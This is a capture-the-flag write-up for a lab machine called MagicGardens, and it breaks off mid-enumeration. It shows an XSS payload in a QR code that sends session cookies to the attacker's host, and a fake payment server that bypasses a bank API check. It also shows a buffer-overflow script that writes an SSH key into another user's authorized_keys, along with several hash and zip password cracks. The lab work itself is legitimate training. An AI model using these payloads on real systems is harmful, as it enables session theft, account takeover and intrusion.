MagicGardens
Recon
Add host
└─$ cat /etc/hosts | grep magic
10.10.11.9 magicgardens.htb
HTTP (80)
Seems to be hosting normal app

We can register so might as well, Creds: test02:test02@magicgardens.htb:test02
We seem to be dealing with Python application

We are given a weird sessionid
token, it consists of 3 parts: django_session:something:something_else
>>> cookie = '.eJxrYJ2awwABtVM0ejhKi1OL8hJzU6f0sJWkFpcYGAEZxSWJJaXFU3o4gksS81ISi1Km9HCWZxZnxOdkFpdM6WGY0sMD5ibnl-aVpBZNyWDr4UxOLCqByAN5PGAeQrpUDwDa1ywo:1sHoOh:c8PrgDNvql0_ZpttWlqnlh0pbGff1A6z2mmq3UYgszg'
>>> pickle.loads(zlib.decompress(base64.urlsafe_b64decode(cookie)))
binascii.Error: Invalid base64-encoded string: number of data characters (185) cannot be 1 more than a multiple of 4
>>> cookie = '.eJxrYJ2awwABtVM0ejhKi1OL8hJzU6f0sJWkFpcYGAEZxSWJJaXFU3o4gksS81ISi1Km9HCWZxZnxOdkFpdM6WGY0sMD5ibnl-aVpBZNyWDr4UxOLCqByAN5PGAeQrpUDwDa1ywo'
>>> pickle.loads(zlib.decompress(base64.urlsafe_b64decode(cookie)))
{'username': 'test02', 'status': 'Standard', 'wish_list': '', 'wish_counter': '', 'cart_list': '', 'cart_counter': ''}
>>> def decode_cookie(cookie): return pickle.loads(zlib.decompress(base64.urlsafe_b64decode(cookie)))
App is just like any regular store. What's odd is that we can buy and it says Success, we didn't setup any payment process or anything...
Payment
If we take a look at our profile we can find Subscription. Quick hover over banks gives us domains

> document.querySelectorAll('input[name=bank]').forEach(bank => console.log(bank.value))
honestbank.htb
magicalbank.htb
plunders.htb
/* /etc/hosts */
10.10.11.9 magicgardens.htb honestbank.htb magicalbank.htb plunders.htb
Looks like we are unable to upgrade. Looking into the request bank
variable is domain, meaning we could slip in our own server

Premium
└─$ curl magicalbank.htb/api/payments -L
{"status": "405", "message": "Method Not Allowed"}
After some playing around with API it seemed like request should have had Content-Type of x-www-form-urlencoded
, but it kept failing. Switching to get_json
made the app respond in correct way. Also in the API request we see it returns status
key which should indicate if our request was successful or not, modify the value and send it back.
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/', defaults={'path': '/'}, methods=['POST'])
@app.route('/<path:path>', methods=['POST'])
def catch_all(path):
print('Path: ' + path)
print('Headers:', request.headers)
print('Body:', request.get_data(as_text=True))
data = request.get_json()
data.update({'status': '200'})
return jsonify(data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
# Path: api/payments/
#
# Headers:
# Host: 10.10.16.75
# User-Agent: python-requests/2.31.0
# Accept-Encoding: gzip, deflate
# Accept: */*
# Connection: keep-alive
# Content-Length: 105
# Content-Type: application/json
#
# Body: {"cardname": "213", "cardnumber": "213", "expmonth": "312", "expyear": "321", "cvv": "213", "amount": 25}
#
# 10.10.11.9 - - [13/Jun/2024 16:55:29] "POST /api/payments/ HTTP/1.1" 200 -

Note: New user created
test03
After we buy a product and after some time we get a message in inbox

Decode QR, https://qrcode-decoder.com:

Try XSS via QR code:
0a291f120e0dc2e51ad32a9303d50cac.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror="this.src='http://10.10.16.75:8888/?'+document.cookie; this.removeAttribute('onerror');">

└─$ py -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.9 - - [13/Jun/2024 17:31:26] "GET /?csrftoken=zx8fHJYOjjrq3yJjqDiQSq0nazqx2GxD;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sHs2X:505zzgsdOZckgmMTAF5Lgf2divO8KWht4mLkmpG3s_U HTTP/1.1" 200 -
^C
Change cookie and login as Morty.

Since Morty is admin we can access the Django admin panel on /admin

Get password

pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=
➜ .\hashcat.exe --show .\hashes
10000 | Django (PBKDF2-SHA256) | Framework
➜ .\hashcat.exe -m 10000 -a 0 .\hashes .\rockyou.txt
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
SSH (21)
Using creds from Django we can SSH into the box.
Creds:
morty:jonasbrothers
Get connections
morty@magicgardens:~$ ss -ltp4n # Listening TCP Processes IPv4 NoResolve
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 1 127.0.0.1:45037 0.0.0.0:* users:(("firefox-esr",pid=1847,fd=7))
LISTEN 0 5 0.0.0.0:1337 0.0.0.0:*
LISTEN 0 37 127.0.0.1:33949 0.0.0.0:* users:(("firefox-esr",pid=1847,fd=54))
LISTEN 0 128 127.0.0.1:46235 0.0.0.0:* users:(("geckodriver",pid=1841,fd=3))
LISTEN 0 4096 0.0.0.0:5000 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 100 0.0.0.0:25 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:39093 0.0.0.0:*
Get processes
morty@magicgardens:~$ ps aux | grep -vE 'firefox|\[.*\]|nginx|system'
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 167792 12360 ? Ss 00:00 0:04 /sbin/init
root 589 0.0 0.0 5740 3608 ? Ss 00:00 0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 591 0.0 0.2 52348 11136 ? Ss 00:00 0:00 /usr/bin/VGAuthService
root 592 0.1 0.3 241784 13804 ? Ssl 00:00 0:31 /usr/bin/vmtoolsd
root 608 0.0 0.0 87496 3152 ? D<sl 00:00 0:04 /sbin/auditd
_laurel 621 0.0 0.1 9076 5856 ? D< 00:00 0:06 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root 746 0.0 0.0 6608 2656 ? Ss 00:00 0:00 /usr/sbin/cron -f
root 756 0.0 0.0 8500 2636 ? S 00:00 0:00 /usr/sbin/CRON -f
root 792 0.0 0.1 16520 5856 ? Ss 00:00 0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root 799 0.0 0.0 2576 928 ? Ss 00:00 0:00 /bin/sh -c sleep 90; su morty -c "/home/morty/bot/AI.py"
root 949 0.1 1.0 419420 40332 ? Ssl 00:00 0:30 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 957 0.0 0.0 5872 1068 tty1 Ss+ 00:00 0:00 /sbin/agetty -o -p -- \u --noclear - linux
root 959 0.1 1.2 1352708 49388 ? Ssl 00:00 0:43 /usr/bin/containerd
root 1004 0.0 2.1 1827668 86512 ? Ssl 00:00 0:06 /usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1291 0.0 0.1 42656 4720 ? Ss 00:00 0:00 /usr/lib/postfix/sbin/master -w
postfix 1293 0.0 0.1 42724 6752 ? S 00:00 0:00 qmgr -l -t unix -u
root 1466 0.0 0.3 1156476 14832 ? Sl 00:00 0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.17.0.2 -container-port 5000
root 1474 0.0 0.3 1156220 14912 ? Sl 00:00 0:00 /usr/sbin/docker-proxy -proto tcp -host-ip :: -host-port 5000 -container-ip 172.17.0.2 -container-port 5000
root 1486 0.0 0.3 1156220 12912 ? Sl 00:00 0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.17.0.3 -container-port 80
root 1501 0.0 0.3 1230208 14996 ? Sl 00:00 0:02 /usr/sbin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8000 -container-ip 172.17.0.4 -container-port 80
root 1532 0.0 0.5 1537316 23308 ? Sl 00:00 0:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 5d8a4a8d74d5d394caa5cae249c3b8e4891ef51e0bd224e51b6e1f0568424a75 -address /run/containerd/containerd.sock
root 1533 0.0 0.6 1463840 27156 ? Sl 00:00 0:05 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 5e5026ac6a81f68189fb0e561da1d2859273ded6886f58f9f4be6a22516c996d -address /run/containerd/containerd.sock
root 1534 0.0 0.5 1537316 22744 ? Sl 00:00 0:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 60065b9f76ec42ab1a19b7454d6bf3f00b9abd3bee141b21205dd6229bb14698 -address /run/containerd/containerd.sock
root 1589 0.0 0.0 4344 3176 ? Ss 00:00 0:00 /bin/bash ./entrypoint.sh
root 1590 0.0 0.0 4344 3144 ? Ss 00:00 0:00 /bin/bash ./entrypoint.sh
root 1603 0.0 0.5 728512 22952 ? Ssl 00:00 0:02 registry serve /etc/docker/registry/config.yml
alex 1743 0.0 0.0 168260 3080 ? S 00:00 0:00 (sd-pam)
alex 1762 0.0 0.0 2464 880 ? S 00:01 0:00 harvest server -l /home/alex/.harvest_logs
root 1766 0.0 0.4 28252 19008 ? S 00:01 0:05 /usr/local/bin/python /usr/local/bin/gunicorn bank.wsgi:application --bind 0.0.0.0:8001 --daemon
root 1769 0.0 1.0 50384 40404 ? S 00:01 0:01 /usr/local/bin/python /usr/local/bin/gunicorn bank.wsgi:application --bind 0.0.0.0:8001 --daemon
root 1774 0.0 0.4 28252 18876 ? S 00:01 0:05 /usr/local/bin/python /usr/local/bin/gunicorn app.wsgi:application --bind 0.0.0.0:8001 --daemon
root 1777 0.1 1.7 90600 70240 ? S 00:01 0:28 /usr/local/bin/python /usr/local/bin/gunicorn app.wsgi:application --bind 0.0.0.0:8001 --daemon
root 1816 0.0 0.0 8540 3836 ? S 00:02 0:00 su morty -c /home/morty/bot/AI.py
morty 1819 0.0 0.0 168260 3084 ? S 00:02 0:00 (sd-pam)
morty 1834 0.0 0.6 33708 25692 ? Ss 00:02 0:03 /usr/bin/python3 /home/morty/bot/AI.py
morty 1835 0.0 0.1 9064 4788 ? Sl 00:02 0:01 /usr/bin/geckodriver --port 45619 --websocket-port 34963
postfix 7179 0.0 0.1 42684 6672 ? S 06:41 0:00 pickup -l -t unix -u -c
morty 7992 0.0 0.1 17652 6548 ? S 07:41 0:00 sshd: morty@pts/0
morty 7993 0.0 0.0 7196 3904 pts/0 Ss 07:41 0:00 -bash
morty 8022 0.0 0.1 11216 4844 pts/0 R+ 07:42 0:00 ps aux
First docker containers caught my eye and it seems like port 5000 is exposed.
└─$ nmap magicgardens.htb -p 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 07:45 EDT
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.096s latency).
PORT STATE SERVICE
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
Looks like RustScan missed this port. 5000 - Pentesting Docker Registry
Morty doesn't seem to have access on docker
└─$ curl -s magicgardens.htb:5000/v2/_catalog
Client sent an HTTP request to an HTTPS server.
└─$ curl -k https://magicgardens.htb:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
└─$ curl -k -u morty:jonasbrothers https://magicgardens.htb:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
Harvest
There's another user on system alex
and he has interesting program running
alex 1762 0.0 0.0 2464 880 ? S 00:01 0:00 harvest server -l /home/alex/.harvest_logs

morty@magicgardens:~$ ls -alh $(which harvest)
-rwxr-xr-x 1 root root 22K Sep 15 2023 /usr/local/bin/harvest
I wasn't able to find the program, so it must be closed source.
morty@magicgardens:~$ python3 -V
Python 3.11.2
morty@magicgardens:~$ which harvest
/usr/local/bin/harvest
morty@magicgardens:~$ cd /usr/local/bin/
morty@magicgardens:/usr/local/bin$ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.10.16.75 - - [14/Jun/2024 07:59:24] "GET /harvest HTTP/1.1" 200 -
---
└─$ curl magicgardens.htb:4444/harvest -o harvest.elf
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 22512 100 22512 0 0 36321 0 --:--:-- --:--:-- --:--:-- 36368
└─$ ghidra_auto --checksec harvest.elf
[*] File Ouput:
ELF 64-bit LSB pie executable
x86-64
version 1 (SYSV)
dynamically linked
interpreter /lib64/ld-linux-x86-64.so.2
BuildID[sha1]=13667f92f8314f1b726e07ce96dd2a4fad06df7f
for GNU/Linux 3.2.0
not stripped
[+] Pwntools Checksec:
[*] '/home/woyag/Desktop/Rooms/MagicGardens/harvest.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Running Analysis...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "21.0.2" 2024-01-16
OpenJDK Runtime Environment (build 21.0.2+13-Debian-2)
OpenJDK 64-Bit Server VM (build 21.0.2+13-Debian-2, mixed mode)
[+] Analysis Complete
[*] Opening Ghidra...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Project Directory: /home/woyag/Desktop/Rooms/MagicGardens
[*] Project File: /home/woyag/Desktop/Rooms/MagicGardens/harvest.gpr
server
mode fails due to raw socket fail because it should be ran with admin privileges. If client if forcefully disconnected the log file is not created.
I think we are interested into the handle_raw_packets
function

void handle_raw_packets(int sock_raw, undefined8 buffer_2048, char * log) {
ssize_t bytes_recieved_counts;
char * timeNow;
char datetimeStr[8];
undefined uStack_10072;
time_t time_;
char line2[32];
char line1[32];
byte buffer_raw, buffer_raw2, buffer_raw3, buffer_raw4, buffer_raw5, buffer_raw6,
buffer_raw7, buffer_raw8, buffer_raw9, buffer_raw10, buffer_raw11, buffer_raw12;
char buffer_big[65554];
memset( & buffer_raw, 0, 65535);
bytes_recieved_counts = recvfrom(sock_raw, & buffer_raw, 65535, 0, (sockaddr * ) 0x0, (socklen_t * ) 0x0);
time_ = time((time_t * ) 0x0);
timeNow = ctime( & time_);
strncpy(datetimeStr, timeNow + 11, 8);
uStack_10072 = 0;
if ((uint) bytes_recieved_counts < 40) {
puts("Incomplete packet ");
close(sock_raw);
/* WARNING: Subroutine does not return */
exit(0);
}
sprintf(line1, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", (ulong) buffer_raw7, (ulong) buffer_raw8, (ulong) buffer_raw9, (ulong) buffer_raw10, (ulong) buffer_raw11, (ulong) buffer_raw12);
sprintf(line2, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x", (ulong) buffer_raw, (ulong) buffer_raw2, (ulong) buffer_raw3, (ulong) buffer_raw4, (ulong) buffer_raw5, (ulong) buffer_raw6);
if (buffer_big[0] == 'E') {
print_packet(buffer_big, log, buffer_2048, line1, line2, datetimeStr, &buffer_raw);
}
if (buffer_big[0] == '`') {
log_packet(buffer_big, log);
}
return;
}
The log packet copies over the presumably log name, opens it and writes buffer to it.
int log_packet(long log_buffer, char *log) {
uint16_t uVar1;
char buffer [32680];
char filename [40];
FILE *fp;
uVar1 = htons(*(uint16_t *)(log_buffer + 4));
if (uVar1 != 0) {
strcpy(filename,log);
strncpy(buffer,(char *)(log_buffer + 60),(ulong)uVar1);
*(undefined2 *)(buffer + uVar1) = L'\n';
fp = fopen(filename,"w");
if (fp == (FILE *)0x0) {
puts("Bad log file");
}
else {
fprintf(fp,buffer);
fclose(fp);
puts("[!] Suspicious activity. Packages have been logged.");
}
}
return 0;
}
Since the program doesn't have Canary enabled, it smells like Buffer Overflow. Specifically if we can write to files somehow.
Start processes:
└─$ sudo ./harvest.elf server -i lo -l ./test.log # sudo required because of raw socket
└─$ ltrace ./harvest.elf client 127.0.0.1
/* Address families */
##define AF_INET 2 /* internetwork: UDP, TCP, etc. */
...
/* Types */
##define SOCK_STREAM 1 /* stream socket */

Almost all socket
calls are IPv4/TCP, but I wasn't able to get it to log into the file.
Testing IPv4/TCP returns [x] Handshake error
import socket
HOST = '127.0.0.1'
PORT = 1337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as io:
io.connect((HOST, PORT))
io.send(b'Hallo, this is a test message!')
Testing IPv4/UDP returns nothing
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as io:
Testing IPv6/TCP returns ConnectionRefusedError: [Errno 111] Connection refused
import socket
HOST = '::1'
PORT = 1337
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as io:
io.connect((HOST, PORT))
io.send(b'Hallo, this is a test message!')
Testing IPv6/UDP returns [!] Suspicious activity. Packages have been logged.
with socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) as io:
So to introduce the buffer overflow we should send IPv6/UDP packet.
└─$ ps aux | grep harvest.elf
root 252387 0.0 0.1 17740 7028 pts/4 S+ 16:04 0:00 sudo --preserve-env=HOME ./harvest.elf server -i lo -l ./test.log
root 252404 0.0 0.0 17740 2328 pts/6 Ss 16:04 0:00 sudo --preserve-env=HOME ./harvest.elf server -i lo -l ./test.log
root 252405 0.0 0.0 2488 1280 pts/6 S+ 16:04 0:01 ./harvest.elf server -i lo -l ./test.log
woyag 252440 0.0 0.0 2480 1408 pts/3 S+ 16:04 0:00 ./harvest.elf client 127.0.0.1
woyag 293103 0.0 0.0 6488 2176 pts/9 S+ 17:21 0:00 grep --color=auto harvest.elf
└─$ sudo strace -s 100000 -p 252405 -e trace='!newfstatat,pselect6'
strace: Process 252405 attached
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 92
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
write(6, "is a test message!", 18) = 18
close(6) = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 92
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
write(6, "is a test message!", 18) = 18
close(6) = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\1\27d\0V:@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\4\212\260\0\0\0\0`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 140
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
close(6) = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
recvfrom(4, "\0\0\0\0\0\0\0\0\0\0\0\0\206\335`\1\27d\0V:@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\4\212\260\0\0\0\0`\t\6A\0&\21@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\2538\59\0&\09Hallo, this is a test message!", 65535, 0, NULL, NULL) = 140
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
close(6) = 0
write(1, "[!] Suspicious activity. Packages have been logged.\n", 52) = 52
^Cstrace: Process 252405 detached
Buffer Overflow
After some manual testing with Starting Server, Starting Client, Attaching strace
, Filtering For openat
with fuzzer:
import socket
from pwn import cyclic
HOST = '::1'
PORT = 1337
with socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) as io:
io.connect((HOST, PORT))
io.send(cyclic(65390))
└─$ sudo strace -p 312210 -e trace=openat
strace: Process 312210 attached
openat(AT_FDCWD, "zqgazqhazqiazqjazq", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "zqgazqhazqiazqjazq", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
openat(AT_FDCWD, "./test.log", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 6
^Cstrace: Process 312210 detached
└─$ cyclic -l zqgazqhazqiazqjazq
65372
The output file is overwritten with our content and offset is 65372
Privilege Escalation (alex)
Create ssh key:
└─$ ssh-keygen -f id_rsa
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:leRdB6O0d5scTTsS1G84nWUIawT/LJV527jMclvKx38 woyag@kraken
The keys randomart image is:
+--[ED25519 256]--+
| o.=+=oo|
| o * =oB=|
| + B.=BB|
| . . ===@|
| S . +B.|
| + . |
| . =..|
| + +E|
| +.+|
+----[SHA256]-----+
morty@magicgardens:/tmp$ cat privesc.py
import socket
HOST = '::1'
PORT = 1337
offset = 65372
pubkey = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9dpVzfJ3JdF7QriQJY4fR/PTDZXeQx0uhDYFVknbnl woyag@kraken'
padding = '\r' * (offset - len(pubkey) - 2) # Filler
output = '/home/alex/.ssh/authorized_keys'
with socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) as io:
io.connect((HOST, PORT))
io.send(f'{padding}\n{pubkey}\n{output}'.encode())
morty@magicgardens:/tmp$ harvest client 127.0.0.1 >/dev/null & python3 privesc.py
---
└─$ ssh alex@magicgardens.htb -i ssh/id_rsa
Enter passphrase for key 'ssh/id_rsa':
alex@magicgardens:~$
User.txt
alex@magicgardens:~$ cat user.txt
4d77da99befd8aca90f4a535770f96ea
SMTP (25)
The SMTP port is filtered on outside, but since we are inside we can take a look
alex@magicgardens:/var/mail$ ss -ltup4n | grep 25
tcp LISTEN 0 100 0.0.0.0:25 0.0.0.0:*
alex@magicgardens:/var/mail$ ls -lah
total 48K
drwxrwsr-x 2 root mail 4.0K Jun 15 11:40 .
drwxr-xr-x 12 root root 4.0K Aug 23 2023 ..
-rw------- 1 alex mail 1.6K May 23 10:26 alex
-rw------- 1 root mail 32K Jun 15 11:40 root
alex@magicgardens:/var/mail$ cat alex
From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178"
Subject: Auth file for docker
To: <alex@magicgardens.magicgardens.htb>
User-Agent: mail (GNU Mailutils 3.15)
Date: Fri, 29 Sep 2023 09:31:49 -0400
Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb>
From: root <root@magicgardens.magicgardens.htb>
--1804289383-1695994309=:37178
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb>
Use this file for registry configuration. The password is on your desk
--1804289383-1695994309=:37178
Content-Type: application/octet-stream; name="auth.zip"
Content-Disposition: attachment; filename="auth.zip"
Content-Transfer-Encoding: base64
Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb>
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE
6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S
q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe
AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG
ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=
--1804289383-1695994309=:37178--
Attachment is a zip file
└─$ cat alex.eml | base64 -d -i > auth.zip
└─$ unzip auth.zip
Archive: auth.zip
[auth.zip] htpasswd password:
skipping: htpasswd incorrect password
Crack the password:
└─$ zip2john auth.zip | tee auth.hash
ver 1.0 efh 5455 efh 7875 auth.zip/htpasswd PKZIP Encr: 2b chk, TS_chk, cmplen=84, decmplen=72, crc=B238A674 ts=A86E cs=a86e type=0
auth.zip/htpasswd:$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:htpasswd:auth.zip::auth.zip
➜ .\hashcat.exe --show .\hashes
...
# | Name | Category
======+============================================================+======================================
17225 | PKZIP (Mixed Multi-File) | Archive
17210 | PKZIP (Uncompressed) | Archive
...
➜ .\hashcat.exe -m 17225 -a 0 .\hashes .\rockyou.txt
hashcat (v6.2.6) starting
...
$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd5144dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:realmadrid
...
Note: If you're passing john's hash to hashcat remove the filename. e.g.:
auth.zip/htpasswd:
Unzip and see contents
└─$ unzip -P"realmadrid" auth.zip
Archive: auth.zip
extracting: htpasswd
└─$ cat htpasswd
AlexMiles:$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq
Crack the hash again
➜ .\hashcat.exe --show .\hashes
...
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
...
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=rockyou.txt --format=bcrypt .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
diamonds (?)
1g 0:00:00:00 DONE (2024-06-15 20:14) 3.731g/s 3761p/s 3761c/s 3761C/s blonde..mariel
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Note: For some reason my Windows Hashcat instance cannot crack bcrypt, so that's why john is used.
Creds:
AlexMiles:diamonds
Docker (5000)
The cracked password doesn't work on SSH. Other common service we saw with ss
was docker, we could try enumerating the service.
Hacktricks, 5000 - Pentesting Docker Registry
└─$ curl -k -u AlexMiles:diamonds https://10.10.11.9:5000/v2/_catalog
{"repositories":["magicgardens.htb"]}
└─$ curl -k -u AlexMiles:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/tags/list
{"name":"magicgardens.htb","tags":["1.3"]}
└─$ cat manifest | jq '.fsLayers.[].blobSum' | head -5
"sha256:d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0"
"sha256:2ed799371a1863449219ad8510767e894da4c1364f94701e7a26cc983aaf4ca6"
"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
"sha256:b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c"
└─$ curl https://magicgardens.htb:5000/v2/magicgardens.htb/blobs/sha256:d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0 -u AlexMiles:diamonds -k -o blob.tgz -s
└─$ file blob.tgz
